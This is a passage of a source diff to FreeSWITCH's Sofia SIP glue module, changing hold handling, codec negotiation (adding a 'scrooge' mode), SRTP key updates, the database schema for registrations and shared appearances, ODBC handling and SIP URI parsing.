 void sofia_glue_toggle_hold(private_object_t *tech_pvt, int sendonly)
 {
 	if (sendonly && switch_channel_test_flag(tech_pvt->channel, CF_ANSWERED)) {
-		if (!switch_test_flag(tech_pvt, TFLAG_SIP_HOLD)) {
+		if (!sofia_test_flag(tech_pvt, TFLAG_SIP_HOLD)) {
 			const char *stream;
 
-			switch_set_flag_locked(tech_pvt, TFLAG_SIP_HOLD);
+			sofia_set_flag_locked(tech_pvt, TFLAG_SIP_HOLD);
 			switch_channel_presence(tech_pvt->channel, "unknown", "hold", NULL);
 
 			if (tech_pvt->max_missed_hold_packets) {
@@ -2207,7 +2720,7 @@
 				stream = tech_pvt->profile->hold_music;
 			}
 
-			if (stream && switch_is_moh(stream)) {
+			if (stream && strcasecmp(stream, "silence")) {
 				if (!strcasecmp(stream, "indicate_hold")) {
 					switch_channel_set_flag(tech_pvt->channel, CF_SUSPEND);
 					switch_channel_set_flag(tech_pvt->channel, CF_HOLD);
@@ -2219,19 +2732,20 @@
 			}
 		}
 	} else {
-		if (switch_test_flag(tech_pvt, TFLAG_HOLD_LOCK)) {
-			switch_set_flag(tech_pvt, TFLAG_SIP_HOLD);
+		if (sofia_test_flag(tech_pvt, TFLAG_HOLD_LOCK)) {
+			sofia_set_flag(tech_pvt, TFLAG_SIP_HOLD);
 		}
 
-		switch_clear_flag_locked(tech_pvt, TFLAG_HOLD_LOCK);
+		sofia_clear_flag_locked(tech_pvt, TFLAG_HOLD_LOCK);
 		
-		if (switch_test_flag(tech_pvt, TFLAG_SIP_HOLD)) {
+		if (sofia_test_flag(tech_pvt, TFLAG_SIP_HOLD)) {
 			const char *uuid;
 			switch_core_session_t *b_session;
 
 			switch_yield(250000);
 
 			if (tech_pvt->max_missed_packets) {
+				switch_rtp_reset_media_timer(tech_pvt->rtp_session);
 				switch_rtp_set_max_missed_packets(tech_pvt->rtp_session, tech_pvt->max_missed_packets);
 			}
 
@@ -2249,7 +2763,7 @@
 				switch_core_session_rwunlock(b_session);
 			}
 
-			switch_clear_flag_locked(tech_pvt, TFLAG_SIP_HOLD);
+			sofia_clear_flag_locked(tech_pvt, TFLAG_SIP_HOLD);
 			switch_channel_presence(tech_pvt->channel, "unknown", "unhold", NULL);
 		}
 	}
@@ -2270,14 +2784,21 @@
 	const char *val;
 	const char *crypto = NULL;
 	int got_crypto = 0, got_audio = 0, got_avp = 0, got_savp = 0, got_udptl = 0;
+	int scrooge = 0;
 
 	switch_assert(tech_pvt != NULL);
 
-	greedy = !!(tech_pvt->profile->pflags & PFLAG_GREEDY);
-
-	if (!greedy) {
-		if ((val = switch_channel_get_variable(channel, "sip_codec_negotiation")) && !strcasecmp(val, "greedy")) {
-			greedy = 1;
+	greedy = !!sofia_test_pflag(tech_pvt->profile, PFLAG_GREEDY);
+	scrooge = !!sofia_test_pflag(tech_pvt->profile, PFLAG_SCROOGE);
+	
+	if (!greedy || !scrooge) {
+		if ((val = switch_channel_get_variable(channel, "sip_codec_negotiation"))) {
+			if (!strcasecmp(val, "greedy")) {
+				greedy = 1;
+			} else if (!strcasecmp(val, "scrooge")) {
+				scrooge = 1;
+				greedy = 1;
+			}
 		}
 	}
 
@@ -2401,12 +2922,27 @@
 							const char *a = switch_stristr("AES", tech_pvt->remote_crypto_key);
 							const char *b = switch_stristr("AES", crypto);
 
+							/* Change our key every time we can */
+							if (switch_stristr(SWITCH_RTP_CRYPTO_KEY_32, crypto)) {
+								switch_channel_set_variable(tech_pvt->channel, SOFIA_HAS_CRYPTO_VARIABLE, SWITCH_RTP_CRYPTO_KEY_32);
+								sofia_glue_build_crypto(tech_pvt, atoi(crypto), AES_CM_128_HMAC_SHA1_32, SWITCH_RTP_CRYPTO_SEND);
+								switch_rtp_add_crypto_key(tech_pvt->rtp_session, SWITCH_RTP_CRYPTO_SEND, atoi(crypto), tech_pvt->crypto_type,
+														  tech_pvt->local_raw_key, SWITCH_RTP_KEY_LEN);
+							} else if (switch_stristr(SWITCH_RTP_CRYPTO_KEY_80, crypto)) {
+								switch_channel_set_variable(tech_pvt->channel, SOFIA_HAS_CRYPTO_VARIABLE, SWITCH_RTP_CRYPTO_KEY_80);
+								sofia_glue_build_crypto(tech_pvt, atoi(crypto), AES_CM_128_HMAC_SHA1_80, SWITCH_RTP_CRYPTO_SEND);
+								switch_rtp_add_crypto_key(tech_pvt->rtp_session, SWITCH_RTP_CRYPTO_SEND, atoi(crypto), tech_pvt->crypto_type,
+														  tech_pvt->local_raw_key, SWITCH_RTP_KEY_LEN);
+							} else {
+								switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Crypto Setup Failed!.\n");
+							}
+														
 							if (a && b && !strncasecmp(a, b, 23)) {
 								switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Change Remote key to [%s]\n", crypto);
 								tech_pvt->remote_crypto_key = switch_core_session_strdup(tech_pvt->session, crypto);
 								tech_pvt->crypto_tag = crypto_tag;
-
-								if (switch_rtp_ready(tech_pvt->rtp_session) && switch_test_flag(tech_pvt, TFLAG_SECURE)) {
+								
+								if (switch_rtp_ready(tech_pvt->rtp_session) && sofia_test_flag(tech_pvt, TFLAG_SECURE)) {
 									sofia_glue_add_crypto(tech_pvt, tech_pvt->remote_crypto_key, SWITCH_RTP_CRYPTO_RECV);
 									switch_rtp_add_crypto_key(tech_pvt->rtp_session, SWITCH_RTP_CRYPTO_RECV, tech_pvt->crypto_tag,
 															  tech_pvt->crypto_type, tech_pvt->remote_raw_key, SWITCH_RTP_KEY_LEN);
@@ -2498,7 +3034,7 @@
 					}
 				}
 
-				if (!(tech_pvt->profile->pflags & PFLAG_SUPPRESS_CNG) && !cng_pt && !strcasecmp(rm_encoding, "CN")) {
+				if (!sofia_test_pflag(tech_pvt->profile, PFLAG_SUPPRESS_CNG) && !cng_pt && !strcasecmp(rm_encoding, "CN")) {
 					cng_pt = (switch_payload_t) map->rm_pt;
 					if (tech_pvt->rtp_session) {
 						switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Set comfort noise payload to %u\n", cng_pt);
@@ -2532,8 +3068,9 @@
 						continue;
 					}
 
-					switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Audio Codec Compare [%s:%d:%u]/[%s:%d:%u]\n",
-									  rm_encoding, map->rm_pt, (int) map->rm_rate, imp->iananame, imp->ianacode, codec_rate);
+					switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Audio Codec Compare [%s:%d:%u:%d]/[%s:%d:%u:%d]\n",
+									  rm_encoding, map->rm_pt, (int) map->rm_rate, ptime,
+									  imp->iananame, imp->ianacode, codec_rate, imp->microseconds_per_packet / 1000);
 					if (map->rm_pt < 96) {
 						match = (map->rm_pt == imp->ianacode) ? 1 : 0;
 					} else {
@@ -2541,12 +3078,18 @@
 					}
 
 					if (match) {
-						if ((ptime && ptime * 1000 != imp->microseconds_per_packet) || 
-							map->rm_rate != codec_rate) {
-							near_rate = map->rm_rate;
-							near_match = imp;
-							match = 0;
-							continue;
+						if (scrooge) {
+							switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, 
+											  "Bah HUMBUG! Sticking with %s@%uh@%ui\n", 
+											  imp->iananame, imp->samples_per_second, imp->microseconds_per_packet / 1000);
+						} else {
+							if ((ptime && ptime * 1000 != imp->microseconds_per_packet) || 
+								map->rm_rate != codec_rate) {
+								near_rate = map->rm_rate;
+								near_match = imp;
+								match = 0;
+								continue;
+							}
 						}
 						mimp = imp;
 						break;
@@ -2560,18 +3103,18 @@
 					char *prefs[1];
 					char tmp[80];
 					int num;
-
-					switch_snprintf(tmp, sizeof(tmp), "%s@%uk@%ui", near_match->iananame, near_rate ? near_rate : near_match->samples_per_second, ptime);
-
+					
+					switch_snprintf(tmp, sizeof(tmp), "%s@%uh@%ui", near_match->iananame, near_rate ? near_rate : near_match->samples_per_second, ptime);
+					
 					prefs[0] = tmp;
 					num = switch_loadable_module_get_codecs_sorted(search, 1, prefs, 1);
-
+					
 					if (num) {
 						mimp = search[0];
 					} else {
 						mimp = near_match;
 					}
-
+					
 					if (!maxptime || mimp->microseconds_per_packet / 1000 <= maxptime) {
 						switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Substituting codec %s@%ui@%uh\n",
 										  mimp->iananame, mimp->microseconds_per_packet / 1000, mimp->samples_per_second);
@@ -2580,6 +3123,7 @@
 						mimp = NULL;
 						match = 0;
 					}
+					
 				}
 
 				if (!match && greedy) {
@@ -2593,7 +3137,12 @@
 					tech_pvt->iananame = switch_core_session_strdup(session, (char *) mimp->iananame);
 					tech_pvt->pt = (switch_payload_t) map->rm_pt;
 					tech_pvt->rm_rate = map->rm_rate;
-					tech_pvt->codec_ms = mimp->microseconds_per_packet / 1000;
+					if (!strcasecmp((char *) mimp->iananame, "ilbc") && switch_strlen_zero((char*)map->rm_fmtp)) {
+						/* default to 30 when no mode is defined for ilbc ONLY */
+						tech_pvt->codec_ms = 30;
+					} else {
+						tech_pvt->codec_ms = mimp->microseconds_per_packet / 1000;
+					}
 					tech_pvt->remote_sdp_audio_ip = switch_core_session_strdup(session, (char *) connection->c_address);
 					tech_pvt->rm_fmtp = switch_core_session_strdup(session, (char *) map->rm_fmtp);
 					tech_pvt->remote_sdp_audio_port = (switch_port_t) m->m_port;
@@ -2700,7 +3249,7 @@
 	
  done:
 	tech_pvt->cng_pt = cng_pt;
-	switch_set_flag_locked(tech_pvt, TFLAG_SDP);
+	sofia_set_flag_locked(tech_pvt, TFLAG_SDP);
 
 	return match;
 }
@@ -2779,11 +3328,11 @@
 		other_channel = switch_core_session_get_channel(other_session);
 		switch_channel_set_variable(other_channel, SWITCH_B_SDP_VARIABLE, sdp);
 
-		if (!switch_test_flag(tech_pvt, TFLAG_CHANGE_MEDIA) && (switch_channel_test_flag(other_channel, CF_OUTBOUND) &&
+		if (!sofia_test_flag(tech_pvt, TFLAG_CHANGE_MEDIA) && (switch_channel_test_flag(other_channel, CF_OUTBOUND) &&
 																switch_channel_test_flag(tech_pvt->channel, CF_OUTBOUND) &&
 																switch_channel_test_flag(tech_pvt->channel, CF_PROXY_MODE))) {
 			switch_ivr_nomedia(val, SMF_FORCE);
-			switch_set_flag_locked(tech_pvt, TFLAG_CHANGE_MEDIA);
+			sofia_set_flag_locked(tech_pvt, TFLAG_CHANGE_MEDIA);
 		}
 		switch_core_session_rwunlock(other_session);
 	}
@@ -2817,7 +3366,7 @@
 
 	switch_mutex_lock(mod_sofia_globals.hash_mutex);
 	if ((profile = (sofia_profile_t *) switch_core_hash_find(mod_sofia_globals.profile_hash, key))) {
-		if (!(profile->pflags & PFLAG_RUNNING)) {
+		if (!sofia_test_pflag(profile, PFLAG_RUNNING)) {
 #ifdef SOFIA_DEBUG_RWLOCKS
 			switch_log_printf(SWITCH_CHANNEL_ID_LOG, file, func, line, NULL, SWITCH_LOG_ERROR, "Profile %s is not running\n", profile->name);
 #endif
@@ -2902,7 +3451,7 @@
 			switch_hash_this(hi, &var, NULL, &val);
             if ((pptr = (sofia_profile_t *) val)) {
 				int rsec = 10;
-				int diff = (int) (switch_timestamp(NULL) - pptr->started);
+				int diff = (int) (switch_epoch_time_now(NULL) - pptr->started);
 				int remain = rsec - diff;
 				if (sofia_test_pflag(pptr, PFLAG_RESPAWN) || !sofia_test_pflag(pptr, PFLAG_RUNNING)) {
 					continue;
@@ -2979,7 +3528,11 @@
 		"   server_user     VARCHAR(255),\n"
 		"   server_host     VARCHAR(255),\n" 
 		"   profile_name    VARCHAR(255),\n" 
-		"   hostname        VARCHAR(255)\n" 
+		"   hostname        VARCHAR(255),\n" 
+		"   network_ip      VARCHAR(255),\n" 
+		"   network_port    VARCHAR(6),\n" 
+		"   sip_username    VARCHAR(255),\n" 
+		"   sip_realm       VARCHAR(255)\n" 
 		");\n";
 
 
@@ -2992,7 +3545,9 @@
 		"   expires         INTEGER,\n" 
 		"   user_agent      VARCHAR(255),\n" 
 		"   profile_name    VARCHAR(255),\n" 
-		"   hostname        VARCHAR(255)\n" 
+		"   hostname        VARCHAR(255),\n" 
+		"   network_ip      VARCHAR(255),\n" 
+		"   network_port    VARCHAR(6)\n" 
 		");\n";
 
 	char dialog_sql[] =
@@ -3029,7 +3584,9 @@
 		"   user_agent      VARCHAR(255),\n" 
 		"   accept          VARCHAR(255),\n"
 		"   profile_name    VARCHAR(255),\n"
-		"   hostname        VARCHAR(255)\n"
+		"   hostname        VARCHAR(255),\n"
+		"   network_port    VARCHAR(6),\n"
+		"   network_ip      VARCHAR(255)\n"
 		");\n";
 
 	char auth_sql[] = 
@@ -3040,8 +3597,72 @@
 		"   hostname        VARCHAR(255)\n"
 		");\n";
 
-	if (profile->odbc_dsn) {
-#ifdef SWITCH_HAVE_ODBC
+	/* should we move this glue to sofia_sla or keep it here where all db init happens? XXX MTK */
+	char shared_appearance_sql[] = 
+		"CREATE TABLE sip_shared_appearance_subscriptions (\n"
+		"   subscriber        VARCHAR(255),\n"
+		"   call_id           VARCHAR(255),\n"
+		"   aor               VARCHAR(255),\n"
+		"   profile_name      VARCHAR(255),\n"
+		"   hostname          VARCHAR(255),\n"
+		"   contact_str       VARCHAR(255),\n"
+		"   network_ip        VARCHAR(255)\n" 
+		");\n";
+
+	char shared_appearance_dialogs_sql[] = 
+		"CREATE TABLE sip_shared_appearance_dialogs (\n"
+		"   profile_name      VARCHAR(255),\n"
+		"   hostname          VARCHAR(255),\n"
+		"   contact_str       VARCHAR(255),\n"
+		"   call_id           VARCHAR(255),\n"
+		"   network_ip        VARCHAR(255),\n"
+		"   expires           INTEGER\n"
+		");\n";
+
+	if (switch_odbc_available() && profile->odbc_dsn) {
+		int x;
+		char *indexes[] = {
+			"create index sr_call_id on sip_registrations (call_id)",
+			"create index sr_sip_user on sip_registrations (sip_user)",
+			"create index sr_sip_host on sip_registrations (sip_host)",
+			"create index sr_profile_name on sip_registrations (profile_name)",
+			"create index sr_presence_hosts on sip_registrations (presence_hosts)",
+			"create index sr_contact on sip_registrations (contact)",
+			"create index sr_expires on sip_registrations (expires)",
+			"create index sr_hostname on sip_registrations (hostname)",
+			"create index sr_status on sip_registrations (status)",
+			"create index sr_network_ip on sip_registrations (network_ip)",
+			"create index sr_network_port on sip_registrations (network_port)",
+			"create index sr_sip_username on sip_registrations (sip_username)",
+			"create index sr_sip_realm on sip_registrations (sip_realm)",
+			"create index ss_call_id on sip_subscriptions (call_id)",
+			"create index ss_hostname on sip_subscriptions (hostname)",
+			"create index ss_hostname on sip_subscriptions (network_ip)",
+			"create index ss_sip_user on sip_subscriptions (sip_user)",
+			"create index ss_sip_host on sip_subscriptions (sip_host)",
+			"create index ss_presence_hosts on sip_subscriptions (presence_hosts)",
+			"create index ss_event on sip_subscriptions (event)",
+			"create index ss_proto on sip_subscriptions (proto)",
+			"create index ss_sub_to_user on sip_subscriptions (sub_to_user)",
+			"create index ss_sub_to_host on sip_subscriptions (sub_to_host)",
+			"create index sd_uuid on sip_dialogs (uuid)",
+			"create index sd_hostname on sip_dialogs (hostname)",
+			"create index sp_hostname on sip_presence (hostname)",
+			"create index sa_nonce on sip_authentication (nonce)",
+			"create index sa_hostname on sip_authentication (hostname)",
+			"create index ssa_hostname on sip_shared_appearance_subscriptions (hostname)",
+			"create index ssa_hostname on sip_shared_appearance_subscriptions (network_ip)",
+			"create index ssa_subscriber on sip_shared_appearance_subscriptions (subscriber)",
+			"create index ssa_profile_name on sip_shared_appearance_subscriptions (profile_name)",
+			"create index ssa_aor on sip_shared_appearance_subscriptions (aor)",
+			"create index ssd_profile_name on sip_shared_appearance_dialogs (profile_name)",
+			"create index ssd_hostname on sip_shared_appearance_dialogs (hostname)",
+			"create index ssd_contact_str on sip_shared_appearance_dialogs (contact_str)",
+			"create index ssd_call_id on sip_shared_appearance_dialogs (call_id)",
+			"create index ssd_expires on sip_shared_appearance_dialogs (expires)",
+			NULL	
+		};
+
 		if (!(profile->master_odbc = switch_odbc_handle_new(profile->odbc_dsn, profile->odbc_user, profile->odbc_pass))) {
 			return 0;
 		}
@@ -3053,7 +3674,8 @@
 		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Connected ODBC DSN: %s\n", profile->odbc_dsn);
 		
 		test_sql = switch_mprintf("delete from sip_registrations where (contact like '%%TCP%%' "
-								  "or status like '%%TCP%%' or status like '%%TLS%%') and hostname='%q'", 
+								  "or status like '%%TCP%%' or status like '%%TLS%%') and hostname='%q' "
+								  "and network_ip!='-1' and network_port!='-1' and sip_username != '-1'", 
 								  mod_sofia_globals.hostname);
 
 		if (switch_odbc_handle_exec(profile->master_odbc, test_sql, NULL) != SWITCH_ODBC_SUCCESS) {
@@ -3063,7 +3685,7 @@
 		free(test_sql);
 
 
-		test_sql = switch_mprintf("delete from sip_subscriptions where hostname='%q'", mod_sofia_globals.hostname);
+		test_sql = switch_mprintf("delete from sip_subscriptions where hostname='%q' and network_ip!='-1' and network_port!='-1'", mod_sofia_globals.hostname);
 
 		if (switch_odbc_handle_exec(profile->master_odbc, test_sql, NULL) != SWITCH_ODBC_SUCCESS) {
 			switch_odbc_handle_exec(profile->master_odbc, "DROP TABLE sip_subscriptions", NULL);
@@ -3094,25 +3716,48 @@
 		}
 		free(test_sql);
 
-#else
+		test_sql = switch_mprintf("delete from sip_shared_appearance_subscriptions where contact_str='' or hostname='%q' and network_ip!='-1'",
+								  mod_sofia_globals.hostname);
+		if (switch_odbc_handle_exec(profile->master_odbc, test_sql, NULL) != SWITCH_ODBC_SUCCESS) {
+			switch_odbc_handle_exec(profile->master_odbc, "DROP TABLE sip_shared_appearance_subscriptions", NULL);
+			switch_odbc_handle_exec(profile->master_odbc, shared_appearance_sql, NULL);
+		}
+		free(test_sql);
+
+
+		test_sql = switch_mprintf("delete from sip_shared_appearance_dialogs where contact_str='' or hostname='%q' and network_ip!='-1'",
+								  mod_sofia_globals.hostname);
+		if (switch_odbc_handle_exec(profile->master_odbc, test_sql, NULL) != SWITCH_ODBC_SUCCESS) {
+			switch_odbc_handle_exec(profile->master_odbc, "DROP TABLE sip_shared_appearance_dialogs", NULL);
+			switch_odbc_handle_exec(profile->master_odbc, shared_appearance_dialogs_sql, NULL);
+		}
+		free(test_sql);
+
+
+		for (x = 0; indexes[x]; x++) {
+			switch_odbc_handle_exec(profile->master_odbc, indexes[x], NULL);
+		}
+
+
+	} else if (profile->odbc_dsn) {
 		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "ODBC IS NOT AVAILABLE!\n");
-#endif
-	} else {		
+	} else {
 		if (!(profile->master_db = switch_core_db_open_file(profile->dbname))) {
 			return 0;
 		}
 
 		test_sql = switch_mprintf("delete from sip_registrations where (contact like '%%TCP%%' "
-								  "or status like '%%TCP%%' or status like '%%TLS%%') and hostname='%q'", 
+								  "or status like '%%TCP%%' or status like '%%TLS%%') and hostname='%q' "
+								  "and network_ip!='-1' and network_port!='-1' and sip_username != '-1'",
 								  mod_sofia_globals.hostname);
 		
 		switch_core_db_test_reactive(profile->master_db, test_sql, "DROP TABLE sip_registrations", reg_sql);
 		free(test_sql);
 
-		test_sql = switch_mprintf("delete from sip_subscriptions where hostname='%q'", mod_sofia_globals.hostname);
+		test_sql = switch_mprintf("delete from sip_subscriptions where hostname='%q' and network_ip!='-1'", mod_sofia_globals.hostname);
 		switch_core_db_test_reactive(profile->master_db, test_sql, "DROP TABLE sip_subscriptions", sub_sql);
 		free(test_sql);
-		
+
 		test_sql = switch_mprintf("delete from sip_dialogs where hostname='%q'", mod_sofia_globals.hostname);
 		switch_core_db_test_reactive(profile->master_db, test_sql, "DROP TABLE sip_dialogs", dialog_sql);
 		free(test_sql);
@@ -3125,6 +3770,40 @@
 		switch_core_db_test_reactive(profile->master_db, test_sql, "DROP TABLE sip_authentication", auth_sql);
 		free(test_sql);
 
+		
+		test_sql = switch_mprintf("delete from sip_shared_appearance_subscriptions where contact_str = '' or hostname='%q' and network_ip!='-1'",
+								  mod_sofia_globals.hostname);
+		switch_core_db_test_reactive(profile->master_db, test_sql, "DROP TABLE sip_shared_appearance_subscriptions", shared_appearance_sql);
+		free(test_sql);
+
+		test_sql = switch_mprintf("delete from sip_shared_appearance_dialogs where contact_str = '' or hostname='%q'", mod_sofia_globals.hostname);
+		switch_core_db_test_reactive(profile->master_db, test_sql, "DROP TABLE sip_shared_appearance_dialogs", shared_appearance_dialogs_sql);
+		free(test_sql);
+		
+		switch_core_db_exec(profile->master_db, "create index if not exists ssa_hostname on sip_shared_appearance_subscriptions (hostname)", 
+							NULL, NULL, NULL);
+		switch_core_db_exec(profile->master_db, "create index if not exists ssa_subscriber on sip_shared_appearance_subscriptions (subscriber)", 
+							NULL, NULL, NULL);
+		switch_core_db_exec(profile->master_db, "create index if not exists ssa_profile_name on sip_shared_appearance_subscriptions (profile_name)", 
+							NULL, NULL, NULL);
+		switch_core_db_exec(profile->master_db, "create index if not exists ssa_aor on sip_shared_appearance_subscriptions (aor)", NULL, NULL, NULL);
+		
+
+		switch_core_db_exec(profile->master_db, "create index if not exists ssd_profile_name on sip_shared_appearance_dialogs (profile_name)", 
+							NULL, NULL, NULL);
+		switch_core_db_exec(profile->master_db, "create index if not exists ssd_hostname on sip_shared_appearance_dialogs (hostname)", 
+							NULL, NULL, NULL);
+		switch_core_db_exec(profile->master_db, "create index if not exists ssd_hostname on sip_shared_appearance_dialogs (network_ip)", 
+							NULL, NULL, NULL);
+		switch_core_db_exec(profile->master_db, "create index if not exists ssd_contact_str on sip_shared_appearance_dialogs (contact_str)",  
+							NULL, NULL, NULL);
+		switch_core_db_exec(profile->master_db, "create index if not exists ssd_call_id on sip_shared_appearance_dialogs (call_id)",  
+							NULL, NULL, NULL);
+		switch_core_db_exec(profile->master_db, "create index if not exists ssd_expires on sip_shared_appearance_dialogs (expires)", 
+							NULL, NULL, NULL);
+		
+
+
 		switch_core_db_exec(profile->master_db, "create index if not exists sr_call_id on sip_registrations (call_id)", NULL, NULL, NULL);
 		switch_core_db_exec(profile->master_db, "create index if not exists sr_sip_user on sip_registrations (sip_user)", NULL, NULL, NULL);
 		switch_core_db_exec(profile->master_db, "create index if not exists sr_sip_host on sip_registrations (sip_host)", NULL, NULL, NULL);
@@ -3134,9 +3813,15 @@
 		switch_core_db_exec(profile->master_db, "create index if not exists sr_expires on sip_registrations (expires)", NULL, NULL, NULL);
 		switch_core_db_exec(profile->master_db, "create index if not exists sr_hostname on sip_registrations (hostname)", NULL, NULL, NULL);
 		switch_core_db_exec(profile->master_db, "create index if not exists sr_status on sip_registrations (status)", NULL, NULL, NULL);
+		switch_core_db_exec(profile->master_db, "create index if not exists sr_network_ip on sip_registrations (network_ip)", NULL, NULL, NULL);
+		switch_core_db_exec(profile->master_db, "create index if not exists sr_network_port on sip_registrations (network_port)", NULL, NULL, NULL);
+		switch_core_db_exec(profile->master_db, "create index if not exists sr_sip_username on sip_registrations (sip_username)", NULL, NULL, NULL);
+		switch_core_db_exec(profile->master_db, "create index if not exists sr_sip_realm on sip_registrations (sip_realm)", NULL, NULL, NULL);
 
+
 		switch_core_db_exec(profile->master_db, "create index if not exists ss_call_id on sip_subscriptions (call_id)", NULL, NULL, NULL);
 		switch_core_db_exec(profile->master_db, "create index if not exists ss_hostname on sip_subscriptions (hostname)", NULL, NULL, NULL);
+		switch_core_db_exec(profile->master_db, "create index if not exists ss_hostname on sip_subscriptions (network_ip)", NULL, NULL, NULL);
 		switch_core_db_exec(profile->master_db, "create index if not exists ss_sip_user on sip_subscriptions (sip_user)", NULL, NULL, NULL);
 		switch_core_db_exec(profile->master_db, "create index if not exists ss_sip_host on sip_subscriptions (sip_host)", NULL, NULL, NULL);
 		switch_core_db_exec(profile->master_db, "create index if not exists ss_presence_hosts on sip_subscriptions (presence_hosts)", NULL, NULL, NULL);
@@ -3154,29 +3839,23 @@
 		switch_core_db_exec(profile->master_db, "create index if not exists sa_hostname on sip_authentication (hostname)", NULL, NULL, NULL);
 	}
 
-#ifdef SWITCH_HAVE_ODBC
-	if (profile->odbc_dsn) {
+	if (switch_odbc_available() && profile->odbc_dsn) {
 		return profile->master_odbc ? 1 : 0;
 	}
-#endif
 
 	return profile->master_db ? 1 : 0;
 }
 
 void sofia_glue_sql_close(sofia_profile_t *profile)
 {
-#ifdef SWITCH_HAVE_ODBC
-	if (profile->odbc_dsn) {
+	if (switch_odbc_available() && profile->master_odbc) {
 		switch_odbc_handle_destroy(&profile->master_odbc);
-		return;
+	} else {
+		switch_core_db_close(profile->master_db);
+		profile->master_db = NULL;
 	}
-#endif
-
-	switch_core_db_close(profile->master_db);
-	profile->master_db = NULL;
 }
 
-
 void sofia_glue_execute_sql(sofia_profile_t *profile, char **sqlp, switch_bool_t sql_already_dynamic)
 {
 	switch_status_t status = SWITCH_STATUS_FALSE;
@@ -3219,9 +3898,8 @@
 		switch_mutex_lock(mutex);
 	}
 
-	if (profile->odbc_dsn) {
-#ifdef SWITCH_HAVE_ODBC
-		SQLHSTMT stmt;
+	if (switch_odbc_available() && profile->odbc_dsn) {
+		switch_odbc_statement_handle_t stmt;
 		if (switch_odbc_handle_exec(profile->master_odbc, sql, &stmt) != SWITCH_ODBC_SUCCESS) {
 			char *err_str;
 			err_str = switch_odbc_handle_get_error(profile->master_odbc, stmt);
@@ -3230,10 +3908,9 @@
 			}
 			switch_safe_free(err_str);
 		}
-		SQLFreeHandle(SQL_HANDLE_STMT, stmt);
-#else
+		switch_odbc_statement_handle_free(&stmt);
+	} else if (profile->odbc_dsn) {
 		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "ODBC IS NOT AVAILABLE!\n");
-#endif
 	} else {
 		if (master) {
 			db = profile->master_db;
@@ -3268,12 +3945,10 @@
 	}
 
 
-	if (profile->odbc_dsn) {
-#ifdef SWITCH_HAVE_ODBC
+	if (switch_odbc_available() && profile->odbc_dsn) {
 		switch_odbc_handle_callback_exec(profile->master_odbc, sql, callback, pdata);
-#else
+	} else if (profile->odbc_dsn) {
 		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "ODBC IS NOT AVAILABLE!\n");
-#endif
 	} else {
 
 		if (master) {
@@ -3304,48 +3979,27 @@
 	return ret;
 }
 
-#ifdef SWITCH_HAVE_ODBC
 static char *sofia_glue_execute_sql2str_odbc(sofia_profile_t *profile, switch_mutex_t *mutex, char *sql, char *resbuf, size_t len)
 {
 	char *ret = NULL;
-	SQLHSTMT stmt;
-	SQLCHAR name[1024];
-	SQLLEN m = 0;
 
-	if (switch_odbc_handle_exec(profile->master_odbc, sql, &stmt) == SWITCH_ODBC_SUCCESS) {
-		SQLSMALLINT NameLength, DataType, DecimalDigits, Nullable;
-		SQLULEN ColumnSize;
-		SQLRowCount(stmt, &m);
-
-		if (m <= 0) {
-			return NULL;
-		}
-
-		if (SQLFetch(stmt) != SQL_SUCCESS) {
-			return NULL;
-		}
-
-		SQLDescribeCol(stmt, 1, name, sizeof(name), &NameLength, &DataType, &ColumnSize, &DecimalDigits, &Nullable);
-		SQLGetData(stmt, 1, SQL_C_CHAR, (SQLCHAR *) resbuf, (SQLLEN) len, NULL);
-		SQLFreeHandle(SQL_HANDLE_STMT, stmt);
+	if (switch_odbc_handle_exec_string(profile->master_odbc, sql, resbuf, len) == SWITCH_ODBC_SUCCESS) {
 		ret = resbuf;
 	}
 
 	return ret;
 }
-#endif
 
+
 char *sofia_glue_execute_sql2str(sofia_profile_t *profile, switch_mutex_t *mutex, char *sql, char *resbuf, size_t len)
 {
 	switch_core_db_t *db;
 	switch_core_db_stmt_t *stmt;
 	char *ret = NULL;
 
-#ifdef SWITCH_HAVE_ODBC
-	if (profile->odbc_dsn) {
+	if (switch_odbc_available() && profile->odbc_dsn) {
 		return sofia_glue_execute_sql2str_odbc(profile, mutex, sql, resbuf, len);
 	}
-#endif
 
 	if (mutex) {
 		switch_mutex_lock(mutex);
@@ -3365,11 +4019,16 @@
 
 		while (running < 5000) {
 			int result = switch_core_db_step(stmt);
+			const unsigned char *txt;
 
 			if (result == SWITCH_CORE_DB_ROW) {
-				if ((colcount = switch_core_db_column_count(stmt))) {
-					switch_copy_string(resbuf, (char *) switch_core_db_column_text(stmt, 0), len);
-					ret = resbuf;
+				if ((colcount = switch_core_db_column_count(stmt)) > 0) {
+					if ((txt = switch_core_db_column_text(stmt, 0))) {
+						switch_copy_string(resbuf, (char *) txt, len);
+						ret = resbuf;
+					} else {
+						goto fail;
+					}
 				}
 				break;
 			} else if (result == SWITCH_CORE_DB_BUSY) {
@@ -3398,26 +4057,42 @@
 {
 	char *p, *h, *u = in;
 
-	*user = NULL;
+	if (user) {
+		*user = NULL;
+	}
+
 	*host = NULL;
 
-	if (!strncasecmp(u, "sip:", 4)) {
-		u += 4;
-	}
-
+	/* First isolate the host part from the user part */
 	if ((h = strchr(u, '@'))) {
 		*h++ = '\0';
 	} else {
 		return 0;
 	}
 
-	p = h + strlen(h) - 1;
+	/* Clean out the user part of its protocol prefix (if any) */
+	if (user && (p = strchr(u, ':'))) {
+		*p++ = '\0';
+		u = p;
+	}
 
-	if (p && (*p == ':' || *p == ';' || *p == ' ')) {
+	/* Clean out the host part of any suffix */
+	if ((p = strchr(h, ':'))) {
 		*p = '\0';
 	}
+	
+	if ((p = strchr(h, ';'))) {
+		*p = '\0';
+	}
+	
+	if ((p = strchr(h, ' '))) {
+		*p = '\0';
+	}
 
+	if (user) {
 	*user = u;
+	}
+
 	*host = h;
 
 	return 1;
@@ -3434,7 +4109,111 @@
 	return uri;
 }
 
+sofia_cid_type_t sofia_cid_name2type(const char *name)
+{
